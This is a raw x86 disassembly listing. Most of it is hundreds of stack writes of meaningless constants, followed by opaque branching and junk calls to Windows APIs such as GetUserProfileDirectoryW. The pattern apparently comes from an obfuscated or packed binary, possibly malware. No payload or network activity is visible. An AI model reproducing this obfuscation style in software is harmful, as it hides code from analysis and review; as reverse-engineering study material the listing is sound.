mov byte [ebp - 0x3916], 0x35
mov dword [ebp - 0x3900], 0xcb66d281
mov byte [ebp - 0xad69], 0x58
mov byte [ebp - 0x17b79], 0x68
mov dword [ebp - 0xdf1c], 0x4030b7f0
mov dword [ebp - 0x17b74], 0x267c36ed
mov dword [ebp - 0x119fc], 0x72e63023
mov dword [ebp - 0xc8e8], 0x2107438c
mov eax, 0x3f6
mov word [ebp - 0x135b4], ax
mov dword [ebp - 0xc8e4], 0x736520f2
mov dword [ebp - 0xad2c], 0x79ec61c
mov byte [ebp - 0xad21], 0x2e
mov ecx, 0x317
mov word [ebp - 0x17b30], cx
mov dword [ebp - 0x7f00], 0x4f1138ee
mov dword [ebp - 0x9678], 0x6b2c64c7
mov byte [ebp - 0x13585], 0xae
mov dword [ebp - 0x17b20], 0xc73cb49
mov edx, 0x4dff
mov word [ebp - 0x17b1c], dx
mov byte [ebp - 0x17b01], 0x4a
mov eax, 0x8c4
mov word [ebp - 0x988], ax
mov dword [ebp - 0x119c0], 0x3ac819ca
mov dword [ebp - 0xc8b8], 0x3c2c48dc
mov dword [ebp - 0x14c24], 0xf071435
mov ecx, 0x2dbe
mov word [ebp - 0x96c], cx
mov dword [ebp - 0x1198c], 0x6613d61a
mov dword [ebp - 0x1fb8], 0x79b2afe5
mov edx, 0x35ed
mov word [ebp - 0x14c14], dx
mov eax, 0x14af
mov word [ebp - 0x11980], ax
mov dword [ebp - 0x7eb4], 0xf8becbdd
mov ecx, 0x2d1
mov word [ebp - 0x7eac], cx
mov byte [ebp - 0x67a9], 0x6c
mov byte [ebp - 0x5069], 1
mov byte [ebp - 0x505d], 0x51
mov byte [ebp - 0x17a95], 0x54
mov dword [ebp - 0x14be0], 0x60c8bc0e
mov byte [ebp - 0x92e], 0x5f
mov edx, 0x2da9
mov word [ebp - 0xac94], dx
mov dword [ebp - 0x14bd0], 0x2bb867de
mov dword [ebp - 0x13510], 0x18a91b3f
mov byte [ebp - 0xde89], pe_nt_image_headers32
mov dword [ebp - 0x5048], 0x2111308f
mov dword [ebp - 0x91c], 0x3abdeae3
mov byte [ebp - 0x7e7d], 0xa9
mov eax, 0xbc
mov word [ebp - 0x908], ax
mov dword [ebp - 0x134f4], 0xd95a1b63
mov ecx, 0x109d
mov word [ebp - 0xac68], cx
mov dword [ebp - 0xc81c], 0x3b64e86e
mov edx, 0x709
mov word [ebp - 0x17a54], dx
mov dword [ebp - 0x1f48], 0x3a8250df
mov dword [ebp - 0x6760], 0x587a32f0
mov dword [ebp - 0x17a48], 0x92b0bf54
mov dword [ebp - 0x3790], 0x16a11e63
mov eax, 0x69d
mov word [ebp - 0x674c], ax
mov ecx, 0x71d4
mov word [ebp - 0x95ac], cx
mov edx, 0x850
mov word [ebp - 0x14b7c], dx
mov dword [ebp - 0x1f24], 0xdd055d7
mov dword [ebp - 0x1f1c], 0x2f671c1b
mov byte [ebp - 0xac15], 0x7e
mov dword [ebp - 0x13490], 0x5f4abe1b
mov eax, 0x81e
mov word [ebp - 0x8d0], ax
mov dword [ebp - 0x1348c], 0x50d5ba12
mov byte [ebp - 0xc7b9], 0x96
mov ecx, 0xa59
mov word [ebp - 0xde18], cx
mov dword [ebp - 0xabfc], 0x66bf16d0
mov edx, 0x92f
mov word [ebp - 0x1006c], dx
mov dword [ebp - 0x13478], 0x1961c418
mov dword [ebp - 0x13464], 0x2cd0bdeb
mov dword [ebp - 0x4f80], 0x6e877f45
mov dword [ebp - 0x66f8], 0x7a440870
mov dword [ebp - 0xddfc], 0xdeafdd32
mov dword [ebp - 0x898], 0x2534cec4
mov dword [ebp - 0x10048], 0x6e26edb
mov eax, 0x1cd5
mov word [ebp - 0xc794], ax
mov byte [ebp - 0x1627d], 0x3d
mov dword [ebp - 0x10030], 0xcc1589a8
mov dword [ebp - 0xc788], 0x5fafa793
mov dword [ebp - 0x66c0], 0x9f232bc2
mov byte [ebp - 0x66b9], 0xf5
mov byte [ebp - 0x3701], 0x32
mov dword [ebp - 0x66b4], 0x197d7b37
mov byte [ebp - 0x17981], 0xd7
mov byte [ebp - 0x17979], 0x38
mov ecx, 0xdb9
mov word [ebp - 0x17970], cx
mov edx, 0x408
mov word [ebp - 0xfffc], dx
mov dword [ebp - 0xfff8], 0x4760f3af
mov dword [ebp - 0x66a0], 0x34124e34
mov dword [ebp - 0x1623c], 0x79dde89e
mov byte [ebp - 0x84e], 0x1d
mov eax, 0x483
mov word [ebp - 0xc754], ax
mov ecx, 0x733
mov word [ebp - 0xc74c], cx
mov edx, 0xe50
mov word [ebp - 0x848], dx
mov dword [ebp - 0xc740], 0x53fdead1
mov dword [ebp - 0x14ae4], 0x14298ce8
mov dword [ebp - 0x6674], 0x26ef26af
mov dword [ebp - 0x36c0], 0x189067ec
mov dword [ebp - 0x7d68], 0xc409da
mov dword [ebp - 0x94a4], 0x38a2bde8
mov byte [ebp - 0x949d], 0x19
mov dword [ebp - 0x11818], 0x51beb80a
mov dword [ebp - 0x17934], 0x77d56eda
mov dword [ebp - 0x7d5c], 0x27e72cd4
mov dword [ebp - 0xc70c], 0x1f01ccb9
mov byte [ebp - 0x36ae], 0x78
mov dword [ebp - 0xdd78], 0x3ae47f17
mov byte [ebp - 0x133b6], 0x26
mov dword [ebp - 0x16208], 0xe1aa23c0
mov dword [ebp - 0x1e2c], 0xc3ef3776
mov dword [ebp - 0xc6f4], 0xd42ea9a5
mov dword [ebp - 0x117e8], 0x406a7229
mov eax, 0x72b
mov word [ebp - 0x6638], ax
mov ecx, 0xa82
mov word [ebp - 0xff94], cx
mov byte [ebp - 0x802], 0x12
mov byte [ebp - 0x9429], 6
mov edx, 0x6e3
mov word [ebp - 0x117e0], dx
mov dword [ebp - 0x117dc], 0x51ba2fca
mov dword [ebp - 0x14a70], 0x777ecf0c
mov eax, 0x94b
mov word [ebp - 0x4e94], ax
mov dword [ebp - 0x117d4], 0x43828507
mov ecx, 0x2cf
mov word [ebp - 0xab08], cx
mov byte [ebp - 0x364d], 0x3c
mov byte [ebp - 0xc669], 8
mov byte [ebp - 0x7ce5], 0xd1
mov dword [ebp - 0x1332c], 0x7abd8211
mov edx, 0xbf
mov word [ebp - 0x1dc8], dx
mov byte [ebp - 0x178b1], 0xe6
mov eax, 0x4df
mov word [ebp - 0x7ccc], ax
mov dword [ebp - 0xc64c], 0x14b959c7
mov byte [ebp - 0xaae1], 0x4e
mov dword [ebp - 0x178a4], 0x572d4f10
mov dword [ebp - 0x65d8], 0x457906b5
mov byte [ebp - 0x4e51], 0x17
mov dword [ebp - 0xdd1c], 0x3e928258
mov dword [ebp - 0x1789c], 0x6e98d419
mov dword [ebp - 0x784], 0xbec3b305
mov dword [ebp - 0x11778], 0xc6f21a56
mov ecx, 0x17f5
mov word [ebp - 0x3610], cx
mov dword [ebp - 0x65a8], 0xfb034995
mov dword [ebp - 0x132f0], 0xe7fd15cd
mov edx, 0x7a1e
mov word [ebp - 0x35f8], dx
mov dword [ebp - 0xff0c], 0x2965f301
mov byte [ebp - 0x17869], 4
mov dword [ebp - 0x35e0], 0x620a0bd
mov dword [ebp - 0x1785c], 0xf967be2d
mov dword [ebp - 0x14a10], 0x1f9d2240
mov dword [ebp - 0x35c4], 0x20dfbe29
mov byte [ebp - 0x4e15], 0x18
mov dword [ebp - 0x6580], 0x5a56f115
mov dword [ebp - 0x720], 0x48ce040f
mov dword [ebp - 0xdcb4], 0xf2893995
mov dword [ebp - 0x936c], 0xe1da58cd
mov eax, 0x51c
mov word [ebp - 0x16120], ax
mov ecx, 0xb53
mov word [ebp - 0x1781c], cx
mov dword [ebp - 0x6558], 0x16d85bc1
mov edx, 0x1c73
mov word [ebp - 0x6554], dx
mov dword [ebp - 0xc5a0], 0x523760cb
mov dword [ebp - 0x3554], 0x199060fc
mov byte [ebp - 0x653d], 0x71
mov dword [ebp - 0xaa58], 0x3b266aaf
mov dword [ebp - 0xfea0], 0x6ddc3876
mov dword [ebp - 0x9318], 0x9a253d80
mov dword [ebp - 0x3538], 0x5fa606e7
mov dword [ebp - 0xc578], 0x5eff931c
mov byte [ebp - 0x4d99], 0xc4
mov byte [ebp - 0x651d], 0xed
mov dword [ebp - 0x11698], 0xe637cfd0
mov dword [ebp - 0xdc74], 0x3cc6420a
mov dword [ebp - 0xfe74], 0x2f06be77
mov eax, 0x3c0
mov word [ebp - 0x3520], ax
mov ecx, 0xe72
mov word [ebp - 0xfe70], cx
mov edx, 0x214
mov word [ebp - 0xaa34], dx
mov dword [ebp - 0x1d0c], 0x49ba0bb1
mov eax, 0x828
mov word [ebp - 0x3504], ax
mov dword [ebp - 0xfe50], 0x48945718
mov byte [ebp - 0x64e9], 0x32
mov dword [ebp - 0x177b8], 0x53aece5d
mov dword [ebp - 0xdc54], 0x3ff4361
mov dword [ebp - 0x34f0], 0x73199b70
mov byte [ebp - 0x69d], 4
mov dword [ebp - 0xc520], 0x466cf1ab
mov byte [ebp - 0x64c5], 0xd9
mov dword [ebp - 0x64c4], 0xbf6af726
mov dword [ebp - 0x34d8], 0x835f3b0
mov dword [ebp - 0x688], 0xfc916b5
mov ecx, 0x2560
mov word [ebp - 0x7bd0], cx
mov dword [ebp - 0xc504], 0xea6368ba
mov dword [ebp - 0x17794], 0x16042b2a
mov byte [ebp - 0x1cc9], 0x77
mov dword [ebp - 0x131e8], 0x197e2658
mov byte [ebp - 0xa9f1], 0x36
mov dword [ebp - 0x14944], 0x532694a9
mov byte [ebp - 0x17771], 0x36
mov edx, 0xe0c
mov word [ebp - 0x17764], dx
mov dword [ebp - 0x7b94], 0x1b75bcee
mov dword [ebp - 0x17758], 0xbe9cfd6
mov dword [ebp - 0x3484], 0x4b29aebf
mov dword [ebp - 0x1603c], 0xf48e4ef5
mov dword [ebp - 0x1772c], 0x7e02fa9f
mov dword [ebp - 0xfdbc], 0xff28d2d6
mov dword [ebp - 0x604], 0x26bcdc08
mov eax, 0x235
mov word [ebp - 0x7ab8], ax
mov dword [ebp - 0xc0a4], 0x1580a41c
mov ecx, 0x780
mov word [ebp - 0x13194], cx
mov dword [ebp - 0x115b0], 0xb8e9fd
mov dword [ebp - 0x4ccc], 0x690502a8
mov dword [ebp - 0xc098], 0xb3ff6c1c
mov dword [ebp - 0x11584], 0x796d65e1
mov dword [ebp - 0x15fdc], 0x7bca29dc
mov edx, 0x536
mov word [ebp - 0xa96c], dx
mov dword [ebp - 0xa968], 0x461c3647
mov byte [ebp - 0x13165], 0xc3
mov byte [ebp - 0x63fd], 0x12
mov eax, 0x954
mov word [ebp - 0xa95c], ax
mov dword [ebp - 0x1c3c], 0xe78ecb89
mov ecx, 0x68d5
mov word [ebp - 0x4c90], cx
mov edx, 0xe48
mov word [ebp - 0x11554], dx
mov dword [ebp - 0x11550], 0x7d8e9c43
mov dword [ebp - 0x15fbc], 0x62fe2790
mov dword [ebp - 0xfd5c], 0x6620710b
mov eax, 0xb56
mov word [ebp - 0x340c], ax
mov ecx, 0x3a3
mov word [ebp - 0x574], cx
mov byte [ebp - 0xdb39], 0x12
mov edx, 0xd30
mov word [ebp - 0xa938], dx
mov dword [ebp - 0xdb34], 0x7fa610d6
mov dword [ebp - 0x63d8], 0x61ee8dbc
mov dword [ebp - 0x11528], 0x74078c32
mov byte [ebp - 0x13135], 0xc5
mov dword [ebp - 0x14890], 0x485b59f
mov eax, 0xe94
mov word [ebp - 0x33e4], ax
mov byte [ebp - 0xc001], 0xb7
mov dword [ebp - 0x1c14], 0xd017c0a6
mov ecx, 0x530
mov word [ebp - 0x91a4], cx
mov dword [ebp - 0x1bfc], 0x62ed17dc
mov edx, 0xc79
mov word [ebp - 0x15f7c], dx
mov eax, 0xf86
mov word [ebp - 0x17680], ax
mov ecx, 0x7f8
mov word [ebp - 0xbff0], cx
mov dword [ebp - 0xdb14], 0x492b90ac
mov byte [ebp - 0x1be9], 0x3e
mov dword [ebp - 0x14858], 0x10b1b281
mov dword [ebp - 0x114e0], 0x47dafd06
mov byte [ebp - 0xdaf9], 0x2c
mov dword [ebp - 0x339c], 0x4d0e5e79
mov edx, 0xb67
mov word [ebp - 0x114c4], dx
mov dword [ebp - 0x14840], 0x2cfafd69
mov byte [ebp - 0x130e1], 0x2c
mov eax, 0xf39
mov word [ebp - 0x130d8], ax
mov dword [ebp - 0x1bb0], 0x2b445ab8
mov dword [ebp - 0x4e4], 0xb1bda06d
mov dword [ebp - 0x1ba8], 0x2471835d
mov ecx, 0x8ed
mov word [ebp - 0x1ba0], cx
mov dword [ebp - 0x14814], 0x5cb66bca
mov dword [ebp - 0x14810], 0x6458f2e0
mov dword [ebp - 0x14808], 0x1e5c66c8
mov dword [ebp - 0x1760c], 0x513db201
mov dword [ebp - 0x15f00], 0x9c8a57ee
mov edx, 0x85e
mov word [ebp - 0xdaac], dx
mov dword [ebp - 0xdaa8], 0x296e48d5
mov eax, 0x36e8
mov word [ebp - 0xdaa4], ax
mov dword [ebp - 0x11464], 0x48d88ec2
mov ecx, 0xc57
mov word [ebp - 0xfcb8], cx
mov byte [ebp - 0x4bc9], 0x13
mov byte [ebp - 0x333e], 0x6a
mov edx, 0xb23
mov word [ebp - 0x147d8], dx
mov dword [ebp - 0xa880], 0x1ff282d5
mov dword [ebp - 0x4bc0], 0x4a6d65ce
mov dword [ebp - 0x90c8], 0x601886ac
mov dword [ebp - 0x11438], 0x67c7f145
mov dword [ebp - 0x4bbc], 0x2bbcfef
mov dword [ebp - 0x7944], 0x1a817794
mov dword [ebp - 0xa860], 0x40781dd0
mov dword [ebp - 0x1142c], 0x25cdfb8f
mov byte [ebp - 0x475], 0x32
mov eax, 0x5429
mov word [ebp - 0xfc7c], ax
mov dword [ebp - 0x470], 0x4500f546
mov byte [ebp - 0xfc6d], 0xb
mov ecx, 0x7b6
mov word [ebp - 0x175c4], cx
mov byte [ebp - 0x14771], 0x61
mov dword [ebp - 0x7924], 0x26d1593f
mov dword [ebp - 0x15ea8], 0x4cfb6547
mov dword [ebp - 0x9084], 0x2a52ada
mov byte [ebp - 0xbf2d], 0x96
mov dword [ebp - 0xbf2c], 0x6c18a686
mov byte [ebp - 0xda3d], 0x3b
mov byte [ebp - 0x4b79], 0x61
mov edx, 0xc2
mov word [ebp - 0x1afc], dx
mov dword [ebp - 0x438], 0xa8c345
mov byte [ebp - 0x1af2], 0xf9
mov eax, 0x7b39
mov word [ebp - 0x9044], ax
mov byte [ebp - 0xbef9], 0x7c
mov dword [ebp - 0x903c], 0x597c4a13
mov dword [ebp - 0xa7f4], 0x3268bc3
mov dword [ebp - 0xda1c], 0xfd34c22
mov byte [ebp - 0x15e71], 0xd
mov byte [ebp - 0x1300d], 0xf2
mov ecx, 0x990
mov word [ebp - 0xa7e8], cx
mov edx, 0x209
mov word [ebp - 0x1ad0], dx
mov byte [ebp - 0x62b5], 0xe1
mov byte [ebp - 0x15e55], 0xdf
mov dword [ebp - 0x14718], 0x3c86ac94
mov eax, 0x3a1
mov word [ebp - 0xfbf0], ax
mov byte [ebp - 0xd9e1], 0xbc
mov dword [ebp - 0x900c], 0xb8e07a27
mov dword [ebp - 0xa7c0], 0xa4df064e
mov dword [ebp - 0xd9a0], 0x247a9262
mov dword [ebp - 0x4b04], 0x29cda1fe
mov byte [ebp - 0x323d], 0x6f
mov ecx, 0x9f7
mov word [ebp - 0x174fc], cx
mov edx, 0xaa
mov word [ebp - 0x146e0], dx
mov dword [ebp - 0x624c], 0xbaa66de1
mov byte [ebp - 0x15de9], 0x14
mov dword [ebp - 0xfba8], 0x33696408
mov dword [ebp - 0x15de8], 0xd65c1606
mov byte [ebp - 0xfb95], 0x61
mov dword [ebp - 0x15dd8], 0x11a19ed8
mov dword [ebp - 0x3b8], 0x8d3fd09c
mov dword [ebp - 0x6234], 0x7715ff2d
mov dword [ebp - 0x622c], 0xa7381de
mov eax, 0x12dc
mov word [ebp - 0x4ab0], ax
mov dword [ebp - 0x3218], 0x48e93bc2
mov dword [ebp - 0x7830], 0x71a1fe45
mov ecx, 0x87a
mov word [ebp - 0x15da8], cx
mov edx, 0x2a8
mov word [ebp - 0x8fc0], dx
mov eax, 0xade
mov word [ebp - 0x1a64], ax
mov dword [ebp - 0xfb70], 0x6d7dc706
mov byte [ebp - 0x6215], 0x20
mov dword [ebp - 0xa720], 0x7bc73755
mov dword [ebp - 0xd960], 0x7830d2f4
mov dword [ebp - 0x174b4], 0x3780a3e2
mov ecx, 0x415
mov word [ebp - 0x15d7c], cx
mov edx, 0x683
mov word [ebp - 0x77f8], dx
mov eax, 0x27
mov word [ebp - 0xbe34], ax
mov ecx, 0x72a
mov word [ebp - 0xd954], cx
mov dword [ebp - 0x31bc], 0x15da49a7
mov byte [ebp - 0xd941], 0xad
mov edx, 0xc04
mov word [ebp - 0x12f48], dx
mov byte [ebp - 0x77bd], 0x3e
mov byte [ebp - 0x61c5], 0x19
mov dword [ebp - 0x3198], 0x73d5d6d9
mov eax, 0x66c
mov word [ebp - 0xa6bc], ax
mov dword [ebp - 0xfb10], 0x63f107c7
mov dword [ebp - 0xd910], 0x5783cea5
mov dword [ebp - 0x112cc], 0x166ca434
mov dword [ebp - 0x15d00], 0x14cf90e3
mov dword [ebp - 0xbdc4], 0x9c4928c4
mov dword [ebp - 0x112b8], 0x84fe2977
mov dword [ebp - 0x12f20], 0x439ff564
mov byte [ebp - 0x7791], 0xd
mov dword [ebp - 0x350], 0x1afc1dec
mov ecx, 0x47a
mov word [ebp - 0xfaec], cx
mov dword [ebp - 0xfae0], 0x4e321565
mov dword [ebp - 0x338], 0x8ea7d047
mov dword [ebp - 0xbda8], 0x99162846
mov edx, 0x4b3
mov word [ebp - 0xa654], dx
mov eax, 0xf9b
mov word [ebp - 0x1127c], ax
mov dword [ebp - 0xa64c], 0x48515813
mov ecx, 0xcce
mov word [ebp - 0x15cb8], cx
mov dword [ebp - 0xa640], 0x62217e14
mov byte [ebp - 0xd8ca], 0xa4
mov dword [ebp - 0x198c], 0x712888ef
mov dword [ebp - 0x8ec4], 0x5b6a4cf3
mov dword [ebp - 0xa62c], 0x791a397f
mov dword [ebp - 0xa628], 0x1b8f80ad
mov dword [ebp - 0x14544], 0x5dcce548
mov dword [ebp - 0xbd60], 0x2230ce37
mov dword [ebp - 0x1453c], 0x613c5802
mov edx, 0x203d
mov word [ebp - 0x8e98], dx
mov eax, 0xa9
mov word [ebp - 0x773c], ax
mov ecx, 0xa0
mov word [ebp - 0x11230], cx
mov dword [ebp - 0xbd3c], 0xe20b5478
mov dword [ebp - 0xfa54], 0x4e018705
mov dword [ebp - 0x771c], 0x18ceda81
mov dword [ebp - 0x1120c], 0x58bd344
mov byte [ebp - 0xfa3d], 0x10
mov byte [ebp - 0x17379], 0x5c
mov dword [ebp - 0xd87c], 0x44d4e408
mov dword [ebp - 0x8e64], 0x9870974f
mov dword [ebp - 0x12e60], 0x7d4d1592
mov dword [ebp - 0xbd04], 0x8bcc526
mov dword [ebp - 0xa5c8], 0x1dc0e43f
mov dword [ebp - 0x17330], 0xcd170efc
mov dword [ebp - 0x3080], 0x69b589da
mov byte [ebp - 0x291], 0x3b
mov edx, 0xff5
mov word [ebp - 0x60b4], dx
mov eax, 0x40f
mov word [ebp - 0xbcdc], ax
mov dword [ebp - 0xa594], 0xe9115af0
mov dword [ebp - 0xa590], 0x5dfec0e6
mov ecx, 0x629
mov word [ebp - 0x111cc], cx
mov edx, 0x3ce9
mov word [ebp - 0x12e1c], dx
mov dword [ebp - 0x48bc], 0x26ea540d
mov dword [ebp - 0x280], 0x4577277e
mov eax, 0xece
mov word [ebp - 0x12e08], ax
mov dword [ebp - 0x111c4], 0x7b1ff24c
mov dword [ebp - 0xa574], 0x44eb62fd
mov dword [ebp - 0x14498], 0x8de795c8
mov ecx, 0x7b22
mov word [ebp - 0x8dcc], cx
mov byte [ebp - 0x14489], 0xac
mov dword [ebp - 0xf878], 0x46f44fd
mov edx, 0x4f4
mov word [ebp - 0x12dc8], dx
mov dword [ebp - 0x172bc], 0x8806936
mov dword [ebp - 0x768c], 0x4ae925ab
mov eax, 0x5e81
mov word [ebp - 0xa51c], ax
mov ecx, 0x84
mov word [ebp - 0x6040], cx
mov dword [ebp - 0xf134], 0x33e04bf7
mov edx, 0xecd
mov word [ebp - 0x172a0], dx
mov dword [ebp - 0xbc5c], 0x28f3437f
mov byte [ebp - 0x12dad], 0x69
mov dword [ebp - 0x15b90], 0x16ecab68
mov byte [ebp - 0x17289], 0xc9
mov dword [ebp - 0xbc44], 0x7673932e
mov dword [ebp - 0x224], 0x1f1a5edd
mov dword [ebp - 0x8d70], 0x40cca6d3
mov byte [ebp - 0xbc31], 0xdd
mov eax, 0x1630
mov word [ebp - 0xa504], ax
mov ecx, 0x678
mov word [ebp - 0x2fd0], cx
mov edx, 0xfea
mov word [ebp - 0x2fc8], dx
mov dword [ebp - 0x15b7c], 0x3479f271
mov dword [ebp - 0x4848], 0x7df8b4f4
mov byte [ebp - 0x8d41], 0xd6
mov eax, 0x811
mov word [ebp - 0x1443c], ax
mov byte [ebp - 0x11159], 0xae
mov dword [ebp - 0x12d84], 0x54485c30
mov byte [ebp - 0x8d29], 0x26
mov dword [ebp - 0x4828], 0x35d0957e
mov dword [ebp - 0x6010], 0x74641380
mov byte [ebp - 0x12d5d], 0x7b
mov dword [ebp - 0x1114c], 0x346ad6c0
mov dword [ebp - 0x7634], 0x2641ac78
mov dword [ebp - 0xbbd4], 0x5792ec14
mov dword [ebp - 0x5fdc], 0x7f52c1b2
mov dword [ebp - 0xbbcc], 0x6d9ed31d
mov byte [ebp - 0x4815], 0x70
mov ecx, 0x99d
mov word [ebp - 0x17260], cx
mov dword [ebp - 0xf0d0], 0x26953815
mov edx, 0x38b
mov word [ebp - 0x1dc], dx
mov byte [ebp - 0x480d], 0xcb
mov byte [ebp - 0x15b09], 0xed
mov eax, 0x941
mov word [ebp - 0x17248], ax
mov byte [ebp - 0x17239], 0x79
mov dword [ebp - 0x17238], 0x622cde15
mov ecx, 0xf7d
mov word [ebp - 0x75fc], cx
mov edx, 0x65e
mov word [ebp - 0x2f60], dx
mov eax, 0xa32
mov word [ebp - 0x47e8], ax
mov byte [ebp - 0x12d1d], 0x87
mov ecx, 0xfde
mov word [ebp - 0x15ad8], cx
mov dword [ebp - 0xbb64], 0x46b1845c
mov dword [ebp - 0xd710], 0xc21a840f
mov dword [ebp - 0x12d14], 0x29de8c2c
mov dword [ebp - 0xf098], 0x25e596f2
mov byte [ebp - 0x12cfd], 0x57
mov dword [ebp - 0xd708], 0x4514d6a2
mov dword [ebp - 0xbb44], 0xae334aa8
mov dword [ebp - 0xa444], 0x15b4cb12
mov dword [ebp - 0x4784], 0x6fa95bad
mov edx, 0x36a4
mov word [ebp - 0xd6c4], dx
mov eax, 0xfde
mov word [ebp - 0x8c48], ax
mov dword [ebp - 0x17ac], 0x7c2aeb8a
mov ecx, 0x677a
mov word [ebp - 0x15a70], cx
mov dword [ebp - 0x138], 0xae4a4bde
mov byte [ebp - 0x1792], 0x2d
mov dword [ebp - 0x11088], 0x659c4304
mov byte [ebp - 0x5f25], 0x1a
mov byte [ebp - 0x8c1d], 0xbe
mov dword [ebp - 0xbb0c], 0xec82693f
mov dword [ebp - 0x7580], 0x9185ef0
mov dword [ebp - 0x1435c], 0x39bee0d1
mov byte [ebp - 0x17169], 0x84
mov byte [ebp - 0x1104d], 0x59
mov dword [ebp - 0xf4], 0x2f6babba
mov dword [ebp - 0x4714], 0xbc11a0e8
mov dword [ebp - 0x1431c], 0xbd9d4a24
mov byte [ebp - 0xd1], pe_nt_image_headers32
mov dword [ebp - 0x12c74], 0x32047afb
mov dword [ebp - 0x1101c], 0x13fbb2e5
mov dword [ebp - 0xefc8], 0x5f72f0fa
mov dword [ebp - 0x1713c], 0x14435274
mov byte [ebp - 0x142ed], 0xc1
mov dword [ebp - 0x2e98], 0xcb942016
mov dword [ebp - 0x5ea8], 0x1caddb7
mov dword [ebp - 0xba8c], 0x5fa67294
mov byte [ebp - 0x5e99], 0x3b
mov edx, 0x5b33
mov word [ebp - 0x2e78], dx
mov dword [ebp - 0xef78], 0x17541c92
mov dword [ebp - 0x159d0], 0x2b0209af
mov dword [ebp - 0xef6c], 0x229c284d
mov byte [ebp - 0x170f5], 0xcb
mov dword [ebp - 0x10fd4], 0x45d4c32a
mov byte [ebp - 0x170e5], 0x81
mov dword [ebp - 0x2d24], 0x289cb1d1
mov dword [ebp - 0x74d0], 0x21a881bd
mov dword [ebp - 0x5e70], 0x258c581f
mov dword [ebp - 0x5e38], 0x15c58fac
mov byte [ebp - 0xba25], 0x88
mov byte [ebp - 0xba1d], 0xaf
mov dword [ebp - 0x5e2c], 0x58c72412
mov dword [ebp - 0xef18], 0x525cc917
mov dword [ebp - 0x8b2c], 0x4b49fa7c
mov dword [ebp - 0xef04], 0x9e1658da
mov dword [ebp - 0x8b0c], 0x9af9658b
mov byte [ebp - 0x10f7d], 0xa6
mov eax, 0x9aa
mov word [ebp - 0x17078], ax
mov dword [ebp - 0x7458], 0x1e14cd6d
mov byte [ebp - 0x4625], 0x85
mov ecx, 0xd04
mov word [ebp - 0x58], cx
mov dword [ebp - 0x2cb0], 0xde53c212
mov edx, 0x292
mov word [ebp - 0x17070], dx
mov dword [ebp - 0xb9e4], 0xe1c4ff9c
mov dword [ebp - 0x8ae4], 0x70ec8298
mov eax, 0x6d
mov word [ebp - 0xeeb0], ax
mov ecx, 0x45d
mov word [ebp - 0xb9cc], cx
mov dword [ebp - 0x1630], 0x18da5f39
mov dword [ebp - 0x7410], 0x460e294c
mov dword [ebp - 0x5db8], 0xdd812d2b
mov edx, dword [0x55d224]
add edx, 0x70085bfd
mov dword [0x55d224], edx
mov dword [ebp - 0x7820], 0x2672
mov dword [ebp - 0x8f30], 0x64c979a4
mov eax, dword [0x55d224]
mov dword [ebp - 0x187fc], eax
cmp dword [ebp - 0x187fc], 0x8c83b8bb
je 0x404d4e
cmp dword [ebp - 0x187fc], 0x77d60891
je 0x404cfa
jmp 0x404dc0
lea ecx, [ebp - 0x15c38]
push ecx
mov edx, dword [ebp - 0x36a8]
push edx
mov eax, dword [ebp - 0x15c38]
push eax
call dword [sym.imp.USERENV.dll_GetUserProfileDirectoryW]
mov dword [ebp - 0x106f0], eax
mov ecx, dword [ebp - 0x8f30]
add ecx, 0x13baf39c
mov dword [ebp - 0x8f30], ecx
push 0xf8
push 0xb1
push 0x41
mov edx, dword [ebp - 0x8f30]
push edx
mov eax, dword [ebp - 0x8f30]
push eax
call fcn.0053a700
jmp 0x404dc0
mov ecx, dword [ebp - 0x8f30]
mov dword [ebp - 0x18800], ecx
cmp dword [ebp - 0x18800], 0x64c979a4
je 0x404d89
cmp dword [ebp - 0x18800], 0x71552d7a
je 0x404d74
jmp 0x404dc0
lea edx, [ebp - 0x109a8]
push edx
call dword [sym.imp.COMDLG32.dll_FindTextW]
mov dword [ebp - 0x9f98], eax
jmp 0x404dc0
mov eax, dword [0x55d224]
and eax, 0x7736f637
mov dword [ebp - 0x15d00], eax
lea ecx, [ebp - 0x8f30]
mov dword [ebp - 0x348c], ecx
mov byte [ebp - 0x9511], 0xaf
mov dword [ebp - 0xe924], 0x3cfc
mov dword [ebp - 0x230c], 0xeb4f
mov edx, dword [ebp - 0x8f30]
mov dword [ebp - 0x18804], edx
cmp dword [ebp - 0x18804], 0x64c979a4
je 0x404ded
cmp dword [ebp - 0x18804], 0xbd9eef19
je 0x404f35
jmp 0x404f97
mov eax, dword [ebp - 0x15d00]
mov dword [ebp - 0x18808], eax
cmp dword [ebp - 0x18808], 0x45a38b72
je 0x404e07
jmp 0x404e24
mov ecx, dword [ebp - 0x348c]
mov edx, dword [ecx]
mov ecx, dword [ebp - 0x8f30]
shr edx, cl
mov eax, dword [ebp - 0x348c]
mov dword [eax], edx
jmp 0x404f33
mov ecx, dword [ebp - 0x8f30]
mov dword [ebp - 0x1880c], ecx
cmp dword [ebp - 0x1880c], 0x64c979a4
je 0x404e51
cmp dword [ebp - 0x1880c], 0x78dc0973
je 0x404f09
jmp 0x404f1f
mov dl, byte [ebp - 0x9511]
mov byte [ebp - 0x18810], dl
cmp byte [ebp - 0x18810], 0x7f
je 0x404e6b
jmp 0x404efd
mov al, byte [ebp - 0x9511]
mov byte [ebp - 0x18814], al
cmp byte [ebp - 0x18814], 0x2e
je 0x404e82
jmp 0x404ede
mov ecx, dword [0x55d224]
or ecx, 0x14f2a481
mov dword [ebp - 0x15d00], ecx
mov edx, dword [ebp - 0x8f30]
xor edx, 0x3c6dea1e
mov eax, dword [ebp - 0x348c]
mov dword [eax], edx
lea ecx, [ebp - 0x9510]
push ecx
call dword [sym.imp.COMDLG32.dll_PageSetupDlgW]
mov dword [ebp - 0xeecc], eax
mov edx, dword [ebp - 0x8f30]
shl edx, 4
mov eax, dword [ebp - 0x348c]
mov dword [eax], edx
movzx ecx, byte [ebp - 0x9511]
sub ecx, 0x74
mov byte [ebp - 0x9511], cl
jmp 0x404efd
push 0x40
push 0xfa
push 0xc6
mov edx, dword [ebp - 0x8f30]
push edx
mov eax, dword [ebp - 0x8f30]
push eax
call fcn.0053a700
mov dword [ebp - 0xe800], 0xc358
jmp 0x404f1f
mov ecx, dword [ebp - 0x348c]
mov edx, dword [ecx]
add edx, dword [ebp - 0x8f30]
mov eax, dword [ebp - 0x348c]
mov dword [eax], edx
mov dword [ebp - 0xd7b4], 0x7686
mov dword [ebp - 0x14dcc], 0x875f
jmp 0x404f97
mov ecx, dword [ebp - 0x348c]
mov edx, dword [ecx]
and edx, 0x2fa4cf93
mov dword [ebp - 0x8f30], edx
lea eax, [ebp - 0x7a38]
push eax
call dword [sym.imp.COMDLG32.dll_FindTextW]
mov dword [ebp - 0x2268], eax
